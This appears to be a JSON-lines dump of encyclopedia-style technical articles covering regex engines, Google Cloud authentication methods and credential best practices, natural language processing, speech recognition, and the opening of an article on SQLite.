match as specified by POSIX. \n\n2007\n\nRuss Cox provides a 400-line C implementation of Thompson's NFA. He shows that for pathological regex, this is a lot faster than common implementations (recursive backtracking) used in many languages including Perl. \n\nMar  \n2010\n\nGoogle open sources **RE2** that's based on automata theory, has linear-time complexity and uses a fixed size stack. Because Google uses regexes for customer-facing tools such as Code Search, backtracking and exponential-time complexity of earlier implementations could lead to Denial-of-Service (DoS) attacks. In addition, recursive backtracking can lead to stack overflows. Work on RE2 can be traced to the work on Code Search in 2006.","meta":{"title":"Regex Engines","href":"regex-engines"}}
{"text":"# Google Cloud Authentication\n\n## Summary\n\n\nGoogle Cloud supports three main types of credentials by which apps can gain access to APIs and services. These are API keys, OAuth 2.0 client IDs and service accounts. This article gives an overview of these methods. It offers some guidelines on how to choose the right authentication method for an application.\n\nImproper use of these methods or careless management of credentials can lead to a security breach. It can result in identity theft and data theft/loss. This article shares some best practices for better security.\n\n## Discussion\n\n### What are the different authentication methods available in Google Cloud?\n\nAnyone with a Google account can login to Google by supplying a valid username and password. Two-Factor Authentication (2FA) enhances security by adding one more step to the authentication process. In Google, 2FA is called 2-Step Verification. For a better user experience, Google also provides Sign In with Google, One Tap and Automatic sign-in. \n\nOften developers want their apps to have access to Google accounts or services, for the apps themselves or on behalf of end users. Google offers two ways to achieve this: \n\n    + **User Account**: Represents a developer or administrator. Used when an application needs to access Google Cloud resources on behalf of the user. Managed by Google Accounts. Credentials used include API keys and OAuth 2.0 client credentials.\n    + **Service Account**: Represents non-human users. Used when an application needs to access Google Cloud resources on its own without any user intervention. Managed by Google's Identity and Access Management (IAM). Credentials include service account keys. Unlike a user account, a service account doesn't have a user-facing login interface.Google Cloud APIs use OAuth 2.0 protocol to authenticate both user accounts and service accounts. \n\n\n### How do I select a suitable Google Cloud authentication method?\n\nMany Google Cloud APIs allow anonymous access to public data. **API keys** can be used. These identify the application, not the actual user. \n\nIf your app requires access to a user's private data, then **OAuth 2.0 client ID** can be used. In OAuth 2.0 terminology, your application is called the client. The client ID identifies the application. The user is prompted to allow Google share some of his/her data with your application. Your application can now use Google Cloud APIs on behalf of the user. \n\nWhere user authorization is not possible, use a **service account**. For apps running inside Google Cloud, it's automatically created. Otherwise, you manually create a service account. You download the credentials as a JSON file that your app can use. Your app assumes the identity of the service account so that users are not involved. Such server-to-server interactions are sometimes called *Two-Legged OAuth (2LO)*. \n\n\n### Could you share some use cases for each Google Cloud authentication method?\n\nGoogle Cloud has dozens of APIs that can be accessed via API keys or OAuth 2.0 client IDs. Some of these APIs are Google Drive, Google Calendar, GMail, YouTube Data, App Engine Admin, Cloud Datastore, Cloud Speech-to-Text, Cloud Vision, Firebase Management, and many more. \n\nFor example, YouTube Data API can be used read metadata of any video. It's implemented via the `videos` endpoint. Since this is public data, an API key is sufficient. The same API also allows an app to manage videos and playlists that you own. This requires OAuth 2.0 client ID. \n\nManaging your appointments on Google Calendar or your drafts on GMail are further examples where OAuth 2.0 client ID can be used. Web/mobile apps can use OAuth 2.0 client ID for visitors to quickly create accounts on their platforms. \n\nConsider an external application that wants to store nightly data backups to Google Drive. A service account suits this use case. \n\n\n### Could you share some tips related to Google Cloud authentication?\n\nAPI keys, OAuth 2.0 client IDs and service accounts are typically created via a web interface called *Google Cloud Console*. In all cases, the credentials fall within the scope of a project that has an associated billing account. Advanced users can look at the *API Keys API* to create or manage API keys via `gcloud` CLI. `gcloud` can also be used to manage service accounts. \n\nDevelopers can try out APIs using the Google API Explorer. This helps in understanding the APIs before doing it programmatically from application code. While it's possible to implement OAuth 2.0 flows, it's easier to use Google Cloud Client Libraries. \n\nWhen using OAuth 2.0 client IDs, code your apps to ask for minimum required permissions. This is done by setting *scopes*. Google maintains a list of available OAuth 2.0 Scopes per API. \n\nFor local development, use `gcloud auth login` and `gcloud auth application-default login` commands. Use short-lived tokens. \n\n\n### What are some best practices when using API keys?\n\nDon't embed API keys directly in code. Store them in environment variables or in files outside your application's version controlled source code. Do a code review to ensure API keys aren't there by mistake. \n\nWhen not used, delete API keys to minimize security attacks. Regenerate API keys periodically. \n\nFor better security, place restrictions on the use of API keys: \n\n    + **Source**: Restrictions on who can use the key. Restrict by HTTP referrers, IP addresses, Android apps or iOS apps. HTTP referrers can be whitelisted by subdomains, paths, protocols (HTTP or HTTPS) and even wildcards.\n    + **Target**: Restrictions on what services are allowed. For example, restrict the key to only Google Drive API.API keys are vulnerable to man-in-the-middle attacks since they're part of the request. Don't use them when API calls contain user data. \n\nDon't use API keys to identify users. An API key only identifies the project. Don't use API keys for secure authorization. API keys are useful to block anonymous traffic, control volume of API requests, identify usage patterns, or filter logs by the API key. \n\n\n### What are some best practices when using service accounts?\n\nService accounts are both a resource and an identity. As an identity, avoid granting Owner/Editor/Viewer roles to a service account. Grant instead a predefined or custom role. In general, grant only minimum necessary permissions. \n\nUse unique, descriptive names so that it's easier to manage multiple accounts. Delete accounts if they're unused since they present a security risk. Disable accounts before deleting them. \n\nService account keys are either Google Cloud-managed or user-managed. For the latter, follow processes for key storage, distribution, revocation, rotation and recovery. \n\nDon't use service accounts to access data without user consent. Don't use service accounts during development. Instead authenticate using tools such as `gcloud`, `gsutil`, `terraform`, etc. In other words, use your personal credentials in a development environment. \n\nYou can attach applications to an existing service account. On a GKE cluster, use multiple Google Cloud and Kubernetes service accounts and map them via Workload Identity. \n\n## Milestones\n\nApr  \n2008\n\nGoogle previews **App Engine**, a platform for developing and hosting web applications in Google-managed data centres. App Engine is therefore the first cloud service offered by Google. It marks the birth of Google Cloud. \n\nOct  \n2012\n\nIETF releases **OAuth 2.0** as RFC 6749. Although OAuth 2.0 is designed for authorization and not for user authentication, Google Cloud later uses OAuth 2.0 for both authorization and authentication. \n\nMar  \n2011\n\nGoogle launches **Google API Explorer** that allows developers to experiment with Google's APIs before implementing them in their apps. By August 2021, the Explorer supports 230 APIs. API keys and OAuth 2.0 client IDs can be used with the Explorer. \n\nAug  \n2021\n\nGoogle launches **Google Identity Services**, a single SDK that brings together different ways of authenticating users. It provides developers frictionless flows to onboard users to their platforms. *Sign in with Google* and *One Tap* are two such flows. These use secure tokens rather than passwords. These internally use OAuth 2.0. Developers can use client libraries provided by Google to quickly implement these flows. An alternative is *Firebase Authentication*.","meta":{"title":"Google Cloud Authentication","href":"google-cloud-authentication"}}
{"text":"# Natural Language Processing\n\n## Summary\n\n\nIn computer science, languages that humans use to communicate are called \"natural languages\". Examples include English, French, and Spanish. Early computers were designed to solve equations and process numbers. They were not meant to understand natural languages. Computers have their own programming languages (C, Java, Python) and communication protocols (TCP/IP, HTTP, MQTT).\n\nTo instruct computers to perform tasks, we traditionally use a keyboard or a mouse. Why not speak to the computer and let it respond in a natural language? This is one of the aims of Natural Language Processing (NLP). NLP is an essential component of artificial intelligence.\n\nNLP is rooted in the theory of linguistics. Techniques from machine learning and deep neural networks have also been successfully applied to NLP problems. While many practical applications of NLP already exist, NLP has many unsolved problems.\n\n## Discussion\n\n### Why do computers have difficulty with NLP?\n\nComputers have mostly been dealing with **structured data**. This is data that's organized, indexed and referenced, often in databases. In NLP, we often deal with **unstructured data**. Social media posts, news articles, emails, and product reviews are examples of text-based unstructured data. To process such text, NLP has to learn the structure and grammar of the natural language. Importantly, 80% of enterprise data is unstructured. \n\nHuman languages are quite unlike the precise and unambiguous nature of computer languages. Human languages have plenty of complexities such as ambiguous phrases, colloquialisms, metaphors, puns, or sarcasms. The same word or text can have multiple meanings depending on the context. Language evolves with time. Worse still, we communicate imperfectly (spelling, grammar or punctuation errors) but still manage to be understood. These variations, so natural to human communication, are complex for computers.\n\nAmbiguities in natural languages can be classified as lexical, syntactic or referential. \n\nWhen the source of information is speech, more challenges arise: accent, tone, loudness, background noise or context, pronunciation, emotional content, pauses, and so on. \n\n\n### Could you share some examples of the complexities of English?\n\nConsider the sentence, \"One morning I shot an elephant in my pajamas\". The man was in his pajamas but grammatically it's also correct to think that the elephant was wearing his pajamas. Likewise, a person may say, \"Listening to loud music slowly gives me a headache\". Was she listening to music slowly or does the headache develop slowly? \n\nA more confusing example is, \"The complex houses married and single soldiers and their families\". Confusion arises because we may initially interpret \"complex houses\" as an adjective-noun combination. The sentence makes sense only when we see that \"complex\" is a noun and \"houses\" is a verb. NLP addresses this via part-of-speech tagging. \n\nConsider this one, \"John had a card for Helga, but couldn't deliver it because he was in her way\". Was John was in Helga's way? In fact, \"he\" refers to an earlier reference to a third person. NLP calls this coreference resolution. \n\n\"The Kiwis won the match\" is an example that requires context to make sense. New Zealand nationals are referred to as \"Kiwis\", after their national bird. Natural language is full of metaphors like this.\n\n\n### What are some example problems that NLP can solve?\n\nFrom the number of problems that NLP solves, we describe a few:\n\n    + **Sentiment Analysis**: From product reviews or social media messages, the task is to figure out if the sentiment is positive, neutral or negative.  This is useful for customer support, engineering and marketing departments.\n    + **Machine Translation**: Suppose original content is published only in one language, machine translation can deliver this content to a wider readership.  Tourists can use machine translation to communicate in a foreign country.\n    + **Question Answering**: Given a question, an NLP engine leveraging a vast body of knowledge, can provide answers. This can help researchers and journalists. Whitepapers and reports can be written faster.\n    + **Text Summarization**: NLP can be tasked to summarize a long essay or an entire book. It can provide a balanced summary of a story published at different websites with different points of view.\n    + **Text Classification**: NLP can classify news stories by domain or detect email spam.\n    + **Text-to-Speech**: This is an essential aspect of voice assistants. Audiobooks can be created for the visually impaired. Public announcements can be made.\n    + **Speech Recognition**: Opposite of text-to-speech, this creates a textual representation of speech.\n\n### Who's been using NLP in the real world, and for what purpose?\n\nFacebook uses machine translation to automatically translate posts and comments. Google Translate processes 100 billion words a day. To connect sellers and buyers across language barriers, eBay is using machine translation. \n\nUsing speech recognition and text-to-speech synthesis, voice assistants such as Amazon Alexa, Apple Siri, Facebook M, Google Assistant, and Microsoft Cortana are enabling human-to-device interaction using natural speech. \n\nAmazon Comprehend offers an NLP API to perform many common NLP tasks. This has been extended by Amazon Comprehend Medical for healthcare domain. \n\nUber uses NLP for better customer support. Human agents are involved but they are assisted by NLP models that suggest top three solutions. This has reduced ticket resolution time by over 10%. \n\nPerception offers an NLP-based product to do theme clustering and sentiment analysis. This helps with performance reviews and employee retention while minimizing bias. \n\nFor aircraft maintenance, NLP is used for information retrieval, troubleshooting, writing summary reports, or even directing a mechanic via a voice interface. It's been observed that NLP can classify defects better than humans. \n\n\n### What are the main approaches adopted by NLP?\n\nClassical NLP from the 1950s took the **symbolic approach** rooted in linguistics. Given the rules of syntax and grammar, we could obtain the structure of text. Using logic, we could obtain the meaning. But rules had to be hand-crafted and were often numerous. They didn't handle colloquial text well. Rules worked well for specific use cases but couldn't be generalized. \n\nIn practice, better accuracy was achieved by using a **statistical approach** that began in the 1980s. Rules were learned and they had associated probabilities. Machine Learning (ML) models came in with support vector machines and logistic regression. More recently, Deep Learning (DL) models that employ a neural network of many layers have brought better accuracy. This success is partly due to the more efficient representations given by *word embeddings*. \n\nNLP involves different levels or scope of analysis. **Low-level** analysis is about word tokens and structure. **Mid-level** analysis is about identifying entities, topics, and themes. **High-level** analysis leads to meaning and understanding. Alternatively, some classify text processing into two parts: **shallow parsing or chunking** and **deep parsing**.  \n\n\n### How is NLP related to NLU and NLG?\n\nNLP is broadly made of two parts: \n\n    + **Natural Language Understanding (NLU)**: This involves converting speech or text into useful representations on which analysis can be performed. The goal is to resolve ambiguities, obtain context and understand the meaning of what's being said. Some say NLP is about text parsing and syntactic processing while NLU is about semantic relationships and meaning. NLU tackles the complexities of language beyond the basic sentence structure.\n    + **Natural Language Generation (NLG)**: Given an internal representation, this involves selecting the right words, forming phrases and sentences. Sentences need to ordered so that information is conveyed correctly.NLU is about analysis. NLG is about synthesis. An NLP application may involve one or both. Sentiment analysis and semantic search are examples of NLU. Captioning an image or video is mainly an NLG task since input is not textual. Text summarization and chatbot are applications that involve NLU and NLG.\n\nThere's also **Natural Language Interaction (NLI)** of which Amazon Alexa and Siri are examples. \n\n\n### What's the typical data processing pipeline in NLP?\n\nA typical NLP pipeline consists of text processing, feature extraction and decision making. All these steps could apply classical NLP techniques, machine learning or neural networks. Where ML and NN are used, we would have to train a model from sufficient volume of data before it can be used for prediction and decision making. \n\nIn text processing, the input is just text and the output is a structured representation. This is done by identifying words, phrases, parts of speech, and so on. Since words have variations (go, going, went), it's common to reduce them to a root form with techniques such as **stemming** and **lemmatization**. Common words that don't add value to analysis (the, to, and, etc.) are called *stop words* and these are removed. Punctuations are also removed to simplify analysis. **Named Entity Recognition (NER)** involves identifying entities such as places, names, objects, and so on. **Coreference resolution** tries to resolve pronouns (he, they, it, etc.) to the correct entities. \n\nMore formally, text processing involves analysis of three types: syntax (structure), semantics (meaning), pragmatics (meaning in context). \n\n\n### What are some challenges that NLP needs to solve?\n\nNLU is still an unsolved problem. Systems are as yet incapable of understanding the way humans do. Until then, progress will be limited to better pattern matching. Where NLU is lacking, it affects the success of NLG. \n\nIn the area of chatbots, there's a need to model common sense. It's also not clear if models should begin with some understanding or should everything be learned using the technique of reinforcement learning. Computing infrastructure needed to build a full-fledged agent that can learn from its environment is also tremendous. \n\nNot much has been done for low-resource languages where the need for NLP is greater. Africa alone has about 2100 languages. We need to find a way to solve this even if training data is limited. \n\nCurrent systems are unable to reason with large contexts, such as entire books or movie scripts. Supervision with large documents is scarce and expensive. Unsupervised learning has the problem of sample inefficiency. \n\nJust measuring progress is a challenge. We need datasets and evaluation procedures tuned to concrete goals. \n\n\n### Could you mention some of the tools used in NLP?\n\nIn Python, two popular NLP tools are **Natural Language Toolkit (NLTK)** and **SpaCy**. NLTK is supposedly slower and therefore not the best choice for production. TextBlob extends NLTK. Textacy is based on SpaCy and handles pre-processing and post-processing tasks. There's also PyTorch-NLP suited for prototyping and production. AllenNLP and Flair are built on top of PyTorch for developing deep learning NLP models. Intel NLP Architect is an alternative. Gensim is a library that targets topic modelling, document indexing and similarity retrieval. \n\nThere are also tools in other programming languages. In Node.js, we have Retext, Compromise, Natural and Nlp.js. In Java, we have OpenNLP, Stanford CoreNLP and CogCompNLP. The last two have Python bindings as well. There are libraries in R and Scala as well but these haven't been updated for over a year. \n\nFor execution, **Jupyter Notebook** provides an interactive environment. If you don't want to install Jupyter, it's also available as web services. Azure Notebook Service is an example. Via subscriptions, these services allow you to use powerful cloud computing resources.\n\n## Milestones\n\n1948\n\nIn the area of automated translation, a dictionary look-up system developed at Birkbeck College, London can be seen as the first NLP application. In the years following World War II, researchers attempt translating German text to English. Later during the era of Cold War, it's about translating Russian to English. \n\n1957\n\nAmerican linguist Noam Chomsky publishes *Syntactic Structures*. Chomsky revolutionizes the theory of linguistics and goes on to influence NLP a great deal. The invention of Backus-Naur Form notation in 1963 for representing programming language syntax is influenced by Chomsky's work. Another example is the invention of Regular Expressions in 1956 for specifying text search patterns. \n\n1966\n\nIn the U.S., the Automatic Language Processing Advisory Committee (ALPAC) Report is published. It highlights the limited success of machine translation. This results in a lack of funding right up to 1980. Nonetheless, NLP advances in some areas including case grammar and semantic representations. Much of the work till late 1960s is about syntax though some addressed semantic challenges. \n\n1970\n\nIn this decade, NLP is influenced by AI with focus on world knowledge and meaningful representations. Thus, semantics becomes more important. SHRDLU (1973) and LUNAR (1978) are two systems of this period. Into the 1980s, these lead to the adoption of logic for knowledge representation and reasoning. **Prolog** programming language is also invented in 1970 for NLP applications. \n\n1980\n\nThis decade sees the growing adoption of Machine Learning and thereby signalling the birth of **statistical NLP**. Annotated bodies of text called *corpora* are used to train ML models to provide the gold standard for evaluation. ML approaches to NLP become prominent through the 1990s, partly inspired by the successful application of Hidden Markov Models to speech recognition. The fact that statistics has brought more success than linguistics is echoed by Fred Jelinek,\n\n> Every time I fire a linguist, the performance of our speech recognition system goes up.\n\n1982\n\nProject Jabberwacky is launched to simulate natural human conversations in the hope of passing the Turing Test. This heralds the beginning of **chatbots**. In October 2003, Jabberwacky wins third place in the Loebner Prize. \n\n1998\n\nThe *FrameNet* project is introduced. This is related to **semantic role modelling**, a form of shallow semantic parsing that's continues to be researched even in 2018. \n\n2001\n\nFor language modelling, the classical N-Gram Model has been used in the past. In 2001, researchers propose the use of a **feed-forward neural network** with vector inputs, now called *word embeddings*. In later years, this leads to the use of RNNs (2010) and LSTMs (2013) for language modelling. \n\n2003\n\n**Latent Dirichlet Allocation (LDA)** is invented and becomes widely used in machine learning. It's now the standard way to do topic modelling. \n\n2013\n\nImprovements to word embeddings along with an efficient implementation in *Word2vec* enable greater adoption of neural networks for NLP. RNNs and LSTMs become obvious choices since they deal with dynamic input sequences so common in NLP. CNNs from computer vision get repurposed for NLP since CNNs are more parallelizable. Recursive Neural Networks attempt to exploit the hierarchical nature of language. \n\nMar  \n2016\n\nMicrosoft launches *Tay*, a chatbot on Twitter that would interact with users and get better in conversing. However, Tay is shut down within 16 hours after it learns to talk in racist and abusive language. A few months later Microsoft launches *Zo* chatbot. \n\nSep  \n2016\n\nGoogle replaces its phrase-based translation system with **Neural Machine Translation (NMT)** that uses a deep LSTM network with 8 encoder and 8 decoder layers. This reduces translation errors by 60%. This work is based on **sequence-to-sequence learning** proposed in 2014, which later becomes a preferred technique for NLG.","meta":{"title":"Natural Language Processing","href":"natural-language-processing"}}
{"text":"# Speech Recognition\n\n## Summary\n\n\nSpeech Recognition is the process by which a computer maps an acoustic speech signal to text. \n\nSpeech Recognition is also known as Automatic Speech Recognition (ASR) or Speech To Text (STT).\n\nSpeech Recognition crossed over to 'Plateau of Productivity' in the Gartner Hype Cycle as of July 2013, which indicates its widespread use and maturity in present times. \n\nIn the longer term, researchers are focusing on teaching computers not just to transcribe acoustic signals but also to understand the words. Automatic speech understanding is when a computer maps an acoustic speech signal to an abstract meaning. \n\nIt is a sub-field of computational linguistics (an interdisciplinary field concerned with the statistical or rule-based modeling of natural language) that develops methodologies and technologies that enables the recognition and translation of spoken language into text by computers.\n\n## Discussion\n\n### What are the steps involved in the process of speech recognition?\n\nWe can identify the following main steps: \n\n    + Analog-to-Digital Conversion: Speech is usually recorded/available in analog format. Standard sampling techniques/devices are available to convert analog speech to digital using techniques of sampling and quantization. The digital speech is usually a one-dimension vector of speech samples, each of which is an integer.\n    + Speech Pre-processing: Recorded speech usually comes with background noise and long sequences of silence. Speech pre-processing involves identification and removal of silence frames and signal processing techniques to reduce/eliminate noise. After pre-processing, the speech is broken down into frames of 20ms each for further steps of feature extraction.\n    + Feature Extraction: It is the process of converting speech frames into feature vector which indicates which phoneme/syllable is being spoken.\n    + Word Selection: Based on a language model/probability model, the sequence of phonemes/features are converted into the word being spoken.\n\n### Which are the popular feature extraction methods?\n\nWhile there are many feature extraction methods, we note three of them:\n\n    + **Relative Spectral Transform-Perceptual Linear Prediction (RASTA-PLP)**: PLP is a way of warping spectra to minimize differences between speakers while preserving important speech information. RASTA applies a band-pass filter to the energy in each frequency subband in order to smooth over short-term noise variations and to remove any constant offset resulting from static spectral coloration in the speech channel e.g. from a telephone line\n    + **Linear Predictive Cepstral Coefficients (LPCCs)**: A cepstrum is the result of taking the inverse Fourier transform (IFT) of the logarithm of the estimated spectrum of a signal. The power cepstrum is used in the analysis of human speech.\n    + **Mel Frequency Cepstral Coefficients (MFCCs)**: These are derived from a type of cepstral representation of the audio clip (a nonlinear \"spectrum-of-a-spectrum\"). The difference between LPCC & mel-frequency cepstrum is that in the MFCC, the frequency bands are equally spaced on the mel scale, which approximates the human auditory system's response more closely than the linearly-spaced frequency bands used in the normal cepstrum. This frequency warping allows for better representation of sound.\n\n### Which are the traditional Probability Mapping and Selection methods?\n\nA **Hidden Markov Model** is a type of graphical model often used to model temporal data. Hidden Markov Models (HMMs) assume that the data observed is not the actual state of the model, but is instead generated by the underlying hidden (the H in HMM) states. While this would normally make inference difficult, the Markov Property (the first M in HMM) of HMMs makes inference efficient.\n\nThe hidden Markov model can be represented as the simplest dynamic Bayesian network. The mathematics behind the HMM were developed by L. E. Baum and coworkers.\n\nBecause of their flexibility and computational efficiency, Hidden Markov Models have found a wide application in many different fields like speech recognition, handwriting recognition, and speech synthesis. \n\n\n### How is the accuracy of a speech recognition program validated?\n\n**Word error rate (WER)** is a common metric of the performance of a speech recognition or machine translation system. Generally it is measured on **Switchboard** - a recorded corpus of conversations between humans discussing day-to-day topics. This has been used over two decades to benchmark speech recognition systems. There are other corpora like LibriSpeech (based on public domain audio books) and Mozilla’s Common Voice project.\n\nFor some languages, like Mandarin, the metric is often CER - **Character Error Rate**. There is also Utterance Error Rate. \n\nAn IEEE paper that focussed on ASR and machine translation interactions, in a speech translation system, showed that BLEU-oriented global optimisation of ASR system parameters improves translation quality by absolute 1.5% BLEU score, while sacrificing WER over the conventional WER-optimised ASR system. Therefore the choice of metrics for ASR optimisation is context and application dependent.\n\n\n### How has speech recognition evolved over the years?\n\nStarting from the 1960s, the pattern recognition based approaches started making speech recognition practical for applications with limited vocabulary with the use of LPC (Linear Predictive Coding) Coefficient and LPCC (Linear Predictive Cepstral Coefficient) based techniques. The advantage of this technique was that low resources were required to build this model and could be used for applications requiring up to about 300 words.\n\nIn the late 1970s, Paul Mermelstein found a new feature called MFCCs. This soon became the de-facto approach for feature extraction and helped to tackle applications related to multi-speaker as well as multi-language speech recognition. \n\nIn the 1990s, H. Hermansky came up with the RASTA-PLP approach of feature extraction which could be used for applications requiring very large vocabulary with multiple speakers and multiple languages with good accuracy. \n\n\n### What are the AI based approaches for speech recognition?\n\nIn the 1990s and in early 2000s, Deep Learning techniques involving Recurrent Neural Networks were applied on Speech Recognition. In 2000s, the variant of RNNs using LSTM (Long Short Term Memory) to include Long Term Memory aspects into the model helped to minimise or avoid the problems of vanishing gradient or exploding gradients as part of training the RNNs. \n\nBaidu research released DeepSpeech 2014 achieving a WER of 11.85% using RNN. They leveraged the “Connectionist Temporal Classification” loss function.\n\nWith DeepSpeech2 in 2015 they achieved a 7x increase in speed using GRUs (Gated Recurrent Units). \n\nDeepSpeech3 was released in 2017. They perform an empirical comparison between three models — CTC which powered Deep Speech 2, attention-based Seq2Seq models which powered Listend-Attend-Spell among others, and RNN-Transducer for end-to-end speech recognition. The RNN-Transducer could be thought of as an encoder-decoder model which assumes the alignment between input and output tokens is local and monotonic. This makes the RNN-Transducer loss a better fit for speech recognition (especially when online) than attention-based Seq2Seq models by removing extra hacks applied to attentional models to encourage monotonicity.\n\n\n### How is the speed of a speech recognition system measured?\n\nReal Time Factor is a very natural measure of a speech decoding speed that expresses how much the recogniser decodes slower than the user speaks. The latency measures the time between the end of the user speech and the time when a decoder returns the hypothesis, which is the most important speed measure for ASR. \n\nReal-time Factor (RTF): the ratio of the speech recognition response time to the utterance duration. Usually both mean RTF (average over all utterances), and 90th percentile RTF is examined in efficiency analysis. \n\n\n### How is Word Error Rate calculated?\n\nIn October 2016, Microsoft announced its ASR had a WER of 5.9% against the Industry standard Switchboard speech recognition task. This was surpassed by IBM Watson in March 2017 with a WER of 5.5%. In May 2017 Google announced it reached a WER of 4.9%, however google does not benchmark against the Switchboard. \n\nASR systems have seen big improvements in recent years due to more efficient acoustic models that use Deep Neural Networks (DNNs) to determine how well HMM states fit the extracted acoustic features rather than statistical techniques such as Gaussian Mixture Models, which were the preferred method for several years. \n\n\n### Which are the popular APIs that one can use to incorporate automatic speech recognition in an application?\n\nHere's a selection of popular APIs: Bing Speech API, Nuance Speech Kit, Google Cloud Speech API, AWS Transcribe, IBM Watson Speech to Text, Speechmatics, Vocapia Speech to Text API, LBC Listen By Code API, Kaldi, CMU Sphinx.  \n\n\n### What are the applications for speech recognition?\n\nApplications of speech recognition are diverse and we note a few:  \n\n    + Aerospace (e.g. space exploration, spacecraft, etc.) NASA's Mars Polar Lander used speech recognition technology from Sensory, Inc. in the Mars Microphone on the Lander.\n    + Automatic subtitling with speech recognition\n    + Automatic translation\n    + Court reporting (Realtime Speech Writing)\n    + eDiscovery (Legal discovery)\n    + Education (assisting in learning a second language)\n    + Hands-free computing: Speech recognition computer user interface\n    + Home automation (Alexa, Google Home etc.)\n    + Interactive voice response\n    + Medical transcription\n    + Mobile telephony, including mobile email\n    + Multimodal interaction\n    + People with disabilities\n    + Pronunciation evaluation in computer-aided language learning applications\n    + Robotics\n    + Speech-to-text reporter (transcription of speech into text, video captioning, Court reporting )\n    + Telematics (e.g. vehicle Navigation Systems)\n    + User interface in telephony\n    + Transcription (digital speech-to-text)\n    + Video games, with Tom Clancy's EndWar and Lifeline as working examples\n    + Virtual assistant (e.g. Apple's Siri)\n\n### Which are the available open source ASR toolkits?\n\nHere's a selection of open source ASR toolkits:\n\n    + **Microsoft Cognitive Toolkit**, a deep learning system that Microsoft used for its ASR system is available on GitHub through an open source license.\n    + The Machine Learning team at Mozilla Research has been working on an open source Automatic Speech Recognition engine modelled after the **Deep Speech** papers published by Baidu. It has a WER of 6.5 percent on LibriSpeech’s test-clean set.\n    + **Kaldi** is integrated with TensorFlow. Its code is hosted on GitHub with 121 contributors. It originated at a 2009 workshop in John Hopkins University. It is designed for local installation.\n    + **CMU Sphinx** is from Carnegie Mellon University. Java and C versions exist on GitHub.\n    + **HTK** began in Cambridge University in 1989.\n    + **Julius** has been in development since 1997 and had its last major release in September of 2016.\n    + **ISIP** originated from Mississippi State. It was developed mostly from 1996 to 1999, with its last release in 2011.\n    + **VoxForge** - crowdsourced repository of speech recognition data and trained models.\n\n\n## Milestones\n\n1952\n\nBell Labs researchers - Davis, Biddulph and Balashak - build a system for single-speaker digit (10) recognition. Their system worked by locating the formants in the power spectrum of each utterance. They were basically creating realisations of earlier analysis establishing relationships between sound classes and signal spectrum by Harvey Fletcher and Homer Dudley, both from AT&T Bell Laboratories. Speech recognition research at Bell Labs was defunded after an open letter by John Robinson Pierce that was critical of speech recognition research. \n\n1962\n\nIBM demonstrates its 'Shoebox' machine at the 1962 World Fair, which could understand 16 words spoken in English. \n\n1968\n\nDabbala Rajagopal **\"Raj\" Reddy** conducts a demonstration of voice control of a robot, large vocabulary connected speech recognition, speaker independent speech recognition and unrestricted vocabulary dictation. *Hearsay-I* is one of the first systems capable of continuous speech recognition. Reddy's work lays the foundation for more than three decades of research at Carnegie Mellon University with his work in the field of **continuous speech recognition** based on dynamic tracking of phonemes. Funding by DARPA's Speech Understanding Research (SUR) program was responsible for Carnegie Melon's \"Harpy\" speech understanding system, that could understand 1011 words. \n\n1968\n\nIn Russia, Professor Taras Vintsyuk proposes the use of dynamic programming methods for time aligning a pair of speech utterances (generally known as **Dynamic Time Warping (DTW)**). Velichko and Zagoruyko use Vintsyuk's work to advance use of pattern recognition ideas in speech recognition. The duo build a 200-word recogniser.  Professor Victorov develops a system that recognises 1000 words in 1980. \n\n1974\n\nFirst commercial speech recognition company - Threshold Technology \n\n1975\n\nJames Baker starts working on **HMM-based speech recognition systems**. In 1982 James and Janet Baker (students of Raj Reddy) cofound Dragon Systems, one of the first companies to use Hidden Markov Models in speech recognition. \n\n1991\n\nTony Robinson publishes work on **neural networks** in ASR  . In 2012 he founded Speechmatics, offering cloud-based speech recognition services. In 2017 the company announced a breakthrough in accelerated new language modelling. By 1994 Robinson's neural network system was in the top 10 in the world in the DARPA Continuous Speech Evaluation trial, while the other nine were HMMs. .\n\n2007\n\nGoogle begins its first effort at speech recognition came after hiring some researchers from Nuance. By around 2007 itself, LSTM trained by Connectionist Temporal Classification (CTC) started to outperform traditional speech recognition in certain applications. \n\nSep  \n2015\n\nGoogle's speech recognition experiences a performance jump of 49% through CTC-trained LSTM. \n\nOct  \n2017\n\nBaidu Research releases Deep Speech 3 which enables end-to-end training using a pre-trained language model. Deep Speech 1 was Baidu's PoC, followed by Deep Speech 2 that demonstrated how models generalise well to different languages. \n\nNov  \n2017\n\nMozilla open sources speech recognition model - DeepSpeech and voice dataset - Common Voice.","meta":{"title":"Speech Recognition","href":"speech-recognition"}}
{"text":"# SQLite\n\n## Summary\n\n\nTraditional databases are often difficult to setup, configure and manage. This includes both relational databases (MySQL, Oracle, PostgreSQL) and NoSQL databases (MongoDB). What if you needed a simple database to manage data locally within your application? What if you don't need to manage remote data across the network? What if you don't have lots of clients writing to the database at the same time? This is where SQLite offers a suitable alternative.\n\nSQLite is an in-process library that implements a self-contained, serverless, zero-configuration, transactional SQL database engine. It's open source. The library is compact, using only 600KiB with all features enabled. It can work even in low-memory environments at some expense of performance. It's even faster than direct filesystem I/O. The database is stored as a single file.\n\n## Discussion\n\n### How's SQLite different from traditional databases?\n\nTraditional databases are based on the client-server architecture. Database files are not directly accessed by client applications but via a database server. SQLite takes a different approach. There's no server involved. The entire database–all tables, indices, triggers, views–is stored in a single file. \n\nBy eliminating the server, SQLite eliminates complexity. There's no need for multitasking or inter-process communication support from the OS. SQLite only requires read/write to some storage. Taking backup is just a file-copy operation. The file can be copied to any other platform be it 32-bit, 64-bit, little-endian or big-endian. \n\nWhile SQLite doesn't adopt a client-server architecture, it's common to call applications that read/write to SQLite databases as \"SQLite clients\". \n\n\n### What are the use cases where SQLite is a suitable database?\n\nFor embedded devices, particularly for resource-constrained IoT devices, SQLite is a good fit. It has a small code footprint, uses memory and disk space efficiently, is reliable and requires little maintenance. Because it comes with a command line interface, it can be used for analysis on large datasets. Even in enterprises, SQLite can stand in for traditional databases for testing, for prototyping or as a local cache that can make the application more resilient to network outages. \n\nUsing SQLite directly over a networked file system is not recommended. It can still be used for web applications if managed by a web server. It's suited for small or medium websites that receive less than 100K hits/day. \n\nApplications can use SQLite instead of file access commands such as `fopen`, `fread` and `fwrite`. These commands are often used to manage various file formats such as XML, JSON or CSV, and there's a need to write parsers for these. SQLite removes this extra work. Because SQLite packs data efficiently, it's faster than these commands. It's been noted that, \n\n> SQLite does not compete with client/server databases. SQLite competes with fopen().\n\n\n### Where shouldn't I use SQLite?\n\nSQLite is not suitable for large datasets, such as exceeding 128 TiB. It's also not suited for high-volume websites, particularly for write-intensive apps. SQLite supports concurrent reads but writes are 